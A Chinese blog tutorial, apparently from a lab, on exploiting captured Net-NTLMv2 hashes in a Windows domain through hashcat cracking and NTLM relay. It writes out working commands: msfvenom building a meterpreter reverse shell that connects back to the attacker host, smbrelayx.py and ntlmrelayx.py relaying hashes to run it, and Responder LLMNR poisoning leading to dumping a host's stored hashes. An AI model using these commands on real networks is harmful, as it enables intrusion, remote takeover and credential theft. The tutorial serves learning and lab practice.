当前位置: 首页 > news >正文

WEB安全--内网渗透--利用Net-NTLMv2 Hash

一、前言

在前两篇文章中分析了NTLM协议中Net-NTLMv2 Hash的生成、如何捕获Net-NTLMv2 Hash,现在就来探讨一下在内网环境中,如何利用Net-NTLMv2 Hash进行渗透。

二、Net-NTLM Hash的破解

工具:hashcat

原理:利用其内部的字典对Net-NTLMv2 Hash进行爆破。

能不能跑出来就看字典里面有没有了。 在Net-NTLM Hash的破解里面,如果是v1的话,拿到Net-NTLM就相当于拿NTLM HASH这个时候就没有Relay的必要性了;

但是在实际中遇到的例子往往不会是v1,而是v2。这个时候密码强度高一点,基本就跑不出来了,这种情况底下,不妨试一试Relay。

三、利用Net-NTLM Hash进行中间人攻击(Relay)

3.1、原理

中间人攻击:client认为attacker是server端,而server端也以为attacker是client端,attacker在中间起到进行数据转发的作用。

Attacker对type1、type2数据包只做转发,然后当Client发送type3时,Attacker利用自己手中域用户的Net-NTLMv2 Hash构建数据包发送给Server,实现成功登录。

工作组:

NTLM Relay攻击在工作组环境下感觉用处不大,因为工作组只是在一个内网环境中,各个机器并没有明确关系,所以这个时候relay的话需要账号密码相同,但是如果账号密码相同的话,为什么不直接用哈希传递呢?

域:

域环境中的hash都统一存储在域控的NTDS.dit中,如果域内没有限制域用户登录到指定机器,那么就能域用户relay到其他机器或者直接使用域控relay到域机器(域控默认开启smb签名,而其他域机器默认不开启)

所以我们抓到的Net-NTLMv2 Hash必须是域用户的信息,因为在域环境下域用户登录任意机器时,其的Net-NTLM Hash值是相同的。

3.2、实现方式

实验环境:

client:域控@administrator@192.168.228.10
server1: 域机器@192.168.228.13(win2008)
server2:域机器@192.168.228.40(win10)
attacker:kali@192.168.228.110

Impacket中的smbrelayx.py

攻击者伪造一个恶意的SMB服务器,当内网中有client访问这个SMB服务器时,smbrelayx.py将抓到client的NET-NTLM-Hash,然后重放给server端进行身份验证。

Impcaket中的ntlmrelayx.py

ntlmrelayx.py是对smbrelayx的改进,支持多种协议进行中继。
ntlmrelayx.py脚本可以直接用现有的 hash 去尝试重放指定的机器。

生成一个msf远控木马:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.228.110 LPORT=4444 -f exe > shell.exe

msf设置监听:

执行smbrelayx.py:

首先将生成的msf马拖到smbrelayx.py同目录下

python3 smbrelayx.py -h 192.168.228.13 -e ./shell.exe (-e选项在目标主机上传并运行payload,这里在server1(域机器)上线木马)

在域控上访问恶意的SMB服务器(attacker:kali@192.168.228.110)

smbrelayx.py拿到了当前用户的NET-NTLM-Hash(域用户)

msf获得了192.168.228.13(server1(域机器))的会话

responder -I eth0 -r -d -v 开启毒化

python3 ntlmrelayx.py -t smb://192.168.228.40(server2(域机器))

在域控资源管理器的地址栏中输入\\bbb时,系统会尝试连接主机“bbbbb”。首先它会检查本地host文件,然后检查DNS,如果都不存在,就会通过LLMNR协议进行多播,在局域网中进行搜索。此时可以在攻击机上看到Responder的响应,然后受害者的Windows机器会向攻击者进行身份验证。

responder开启毒化后将身份验证所需的NET-NTLM-Hash传到192.168.228.40(server2(域机器)),在server端进行验证。

Relay成功后这个脚本重放了445并执行了dumphash的命令,由于是域管用户,所以将server2(域机器)端存储的所有hash都dump出来了。

相关文章:

  • 使用Scade实现神经网络算法
  • CMake 字段使用
  • 蓝桥杯真题--最长子序列 and 2023
  • SQL:Primary Key(主键)和Foreign Key(外键)
  • cpp自学 day20(文件操作)
  • 关于sqlsugar实体多层List映射的问题
  • 第十五届蓝桥杯大赛软件赛省赛Python 大学 C 组题目试做(中)【本期题目:回文数组,挖矿】
  • CmLicense授权损耗规避措施
  • spring boot 实现spring mvc过程中WebMvcConfigurer接口及其相关实现类的详细对比
  • Redis 的五种数据类型面试回答
  • 安全编码课程 实验6 整数安全
  • WPF依赖注入
  • 【金仓数据库】
  • 深入解析 MySQL 中的日期时间函数:DATE_FORMAT 与时间查询优化
  • HTTP 响应头 Strict-Transport-Security 缺失漏洞
  • GraphRAG与知识图谱
  • 【数据标准】数据标准化实施流程与方法-保障机制篇
  • 图灵逆向——题一-动态数据采集
  • createContext+useContext+useReducer组合管理React复杂状态
  • 代码片段 - C#实现多张图片根据重叠部分拼接图像
  • 淘宝客做网站需要那些条件/深圳网站建设开发公司
  • 自己如何做独立网站/广告外链平台
  • 做网站开发学什么语言/国际站seo优化是什么意思
  • 黑龙江省住房和建设厅网站首页/艾滋病阻断药
  • 哪里有网站建设培训班/免费域名
  • 如何做网站打广告/网站页面优化包括